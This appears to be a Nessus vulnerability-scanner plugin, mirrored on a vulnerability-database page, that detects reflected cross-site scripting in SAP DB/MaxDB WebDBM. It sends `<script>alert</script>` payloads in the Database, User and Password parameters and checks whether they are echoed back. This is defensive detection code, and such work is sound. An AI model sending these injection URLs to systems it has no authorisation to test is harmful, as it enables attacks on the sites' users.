| Source | Link |
|---|---|
| securityfocus | www.securityfocus.com/archive/1/502318/30/0/threaded |
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(36072);
script_version("1.15");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_bugtraq_id(34319);
script_name(english:"SAP DB / MaxDB WebDBM Multiple Parameter XSS");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a script that is affected by multiple
cross-site scripting vulnerabilities.");
script_set_attribute(attribute:"description", value:
"The remote web server contains the WebDBM script, a component of SAP
DB / MaxDB.
The version of this script found on the remote host fails to sanitize
user-supplied input to its 'Database', 'User', and 'Password' parameters
before using it to generate dynamic content. An unauthenticated, remote
attacker may be able to leverage this issue to inject arbitrary HTML or
script code into a user's browser to be executed within the security
context of the affected site.");
script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/502318/30/0/threaded");
script_set_attribute(attribute:"solution", value:
"The vendor reportedly recommends replacing WebDBM with 'Database
Studio'.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploited_by_nessus", value:"true");
script_cwe_id(20, 74, 79, 442, 629, 711, 712, 722, 725, 750, 751, 800, 801, 809, 811, 864, 900, 928, 931, 990);
script_set_attribute(attribute:"plugin_publication_date", value:"2009/04/01");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:sap:maxdb");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses : XSS");
script_copyright(english:"This script is Copyright (C) 2009-2022 Tenable Network Security, Inc.");
script_dependencies("http_version.nasl", "cross_site_scripting.nasl");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 9999);
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
port = get_http_port(default:9999);
if (get_kb_item("www/"+port+"/generic_xss")) exit(0);
# Unless we're paranoid, make sure the banner looks like SAP DB.
if (report_paranoia < 2)
{
banner = get_http_banner(port:port);
if (!banner || "Server: SAP-Internet-SapDb-Server/" >!< banner) exit(0);
}
xss = string('nessus">', "<script>alert('", SCRIPT_NAME, "')</script>/");
exss = urlencode(str:xss);
# Try to exploit one of the issues.
if (thorough_tests)
{
exploits = make_list(
string("/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&Database=", exss),
string("/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&User=", exss),
string("/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&Database=&User=&Password=", exss)
);
}
else
{
exploits = make_list(
string("/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&Database=", exss)
);
}
foreach url (exploits)
{
res = http_send_recv3(method:"GET", item:url, port:port);
if (isnull(res)) exit(0);
if ("<title>Web DBM<" >!< res[2]) exit(0);
# There's a problem if our exploit appears along with the time in a form.
if (string(' value="', xss, '">') >< res[2]
)
{
if (report_verbosity > 0)
{
report = string(
"\n",
"Nessus was able to exploit the issue using the following URL :\n",
"\n",
" ", build_url(port:port, qs:url), "\n"
);
security_warning(port:port, extra:report);
}
else security_warning(port);
set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
exit(0);
}
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation